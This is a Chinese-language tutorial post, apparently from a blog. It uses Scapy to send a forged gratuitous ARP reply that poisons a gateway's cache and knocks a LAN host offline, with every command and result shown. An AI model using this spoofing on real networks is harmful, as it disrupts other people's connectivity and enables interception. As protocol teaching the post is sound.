互联网的核心是一系列协议,总称为“互联网协议”。它们对电脑如何连接和组网,做出来详尽的规定。理解了这些协议,就是理解了互联网的原理。
在面试或者工作过程中,我们对我们知道的网络协议侃侃而谈,五层模型,osi七层模型,三次握手,四次挥手,TCP/IP协议族,ICMP,ARP,HTTP,SNMP,广播,多播,组播,单播等等概念信手拈来。但是当遇到无法解决的网络问题时,我们可能开始怀疑自己是否真的理解了这些协议。毕竟大部分时候,我们只是记忆了这些概念,并在工作中利用前人发明的网络工具和经验解决工作中遇到的问题。
Scapy是一个建立在Python环境之上的网络数据包操作程序,可以很容易随意操控网络数据包,从而利用它很容易的理解网络协议的工作原理。
下面利用网络协议和Scapy实现一个有意思的程序:
使用Scapy攻击局域网主机,使被攻击主机断网。原理很简单,就是利用免费ARP,修改网关中被攻击主机的ARP缓存。
1.查询局域网网关
[root@controller ~]# ip route
default via 192.168.91.254 dev ens192
169.254.0.0/16 dev ens192 scope link metric 1002
其中,192.168.91.254即是局域网网关ip地址。
2.安装Scapy
pip install scapy
3.在命令行执行scapy,启动scapy交换界面
4.使用Scapy构建免费ARP应答包
>>>arp = ARP(op=2,hwsrc="00:0c:22:33:cc:cc",hwdst="80:05:88:b5:88:64",pdst='192.168.91.254',psrc='192.168.90.22')
其中,op=2表示该arp包是应答包(根据arp协议,1表示请求,2表示应答);该arp包模拟了192.168.90.22应答网关192.168.91.254的arp应答包,网关收到该应答包后,会更新arp缓存,即修改192.168.90.22的mac为00:0c:22:33:cc:cc。
5.发送ARP应答包
>>>sendp(Ether(dst="80:05:88:b5:88:64")/arp)
向网关发送免费arp应答包,刷新网关ARP缓存。ARP请求是广播方式,ARP应答是单播方式。dst是网关的mac地址。
6.在被攻击主机中ping有效ip地址,检测被攻击主机网络是否受到影响
[root@compute1 ~]# ping www.baidu.com
ping: www.baidu.com: Name or service not known
小结
上述实验只是Scapy的一个小应用,看似很鸡肋,且没有任何实用价值,但是在实际中工作中是有用武之地的。比如在高可用场景下,网络服务发生主备切换,如果刚切换到主机的mac地址不能很快通知网关,则网关将会继续把流量发送给刚降级的备机。通过主动发送免费arp应答包,可以避免此类问题。
如果对云计算感兴趣,可以关注我的微信公众号: